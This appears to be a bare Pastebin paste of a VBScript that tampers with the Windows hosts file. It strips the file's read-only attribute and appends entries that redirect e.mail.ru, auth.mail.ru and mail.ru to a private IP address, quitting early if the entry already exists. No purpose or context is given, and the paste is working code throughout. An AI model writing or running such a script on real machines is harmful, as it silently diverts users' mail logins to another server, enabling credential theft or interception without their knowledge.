Advertisement
Guest User

Untitled

a guest
Sep 24th, 2015
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Const ForReading = 1, ForWriting = 2, ForAppending = 8, ReadOnly = 1
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. Set WshShell=CreateObject("WScript.Shell")
  4. WinDir =WshShell.ExpandEnvironmentStrings("%WinDir%")
  5.  
  6. HostsFile = WinDir & "\System32\Drivers\etc\Hosts"
  7.  
  8. Set objFSO = CreateObject("Scripting.FileSystemObject")
  9. Set objFile = objFSO.OpenTextFile(HostsFile, ForReading)
  10.  
  11. Do Until objFile.AtEndOfStream
  12. If InStr (objFile.ReadLine, "e.mail.ru") <> 0 Then
  13. WScript.Quit
  14. End If
  15. i = i + 1
  16. Loop
  17. objFile.Close
  18.  
  19. Set objFSO = CreateObject("Scripting.FileSystemObject")
  20. Set objFile = objFSO.GetFile(HostsFile)
  21. If objFile.Attributes AND ReadOnly Then
  22. objFile.Attributes = objFile.Attributes XOR ReadOnly
  23. End If
  24.  
  25. Set filetxt = fso.OpenTextFile(HostsFile, ForAppending, True)
  26. filetxt.WriteLine(vbNewLine & "192.168.251.254 e.mail.ru")
  27. filetxt.WriteLine(vbNewLine & "192.168.251.254 auth.mail.ru")
  28. filetxt.WriteLine(vbNewLine & "192.168.251.254 mail.ru")
  29. filetxt.Close
  30. WScript.quit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement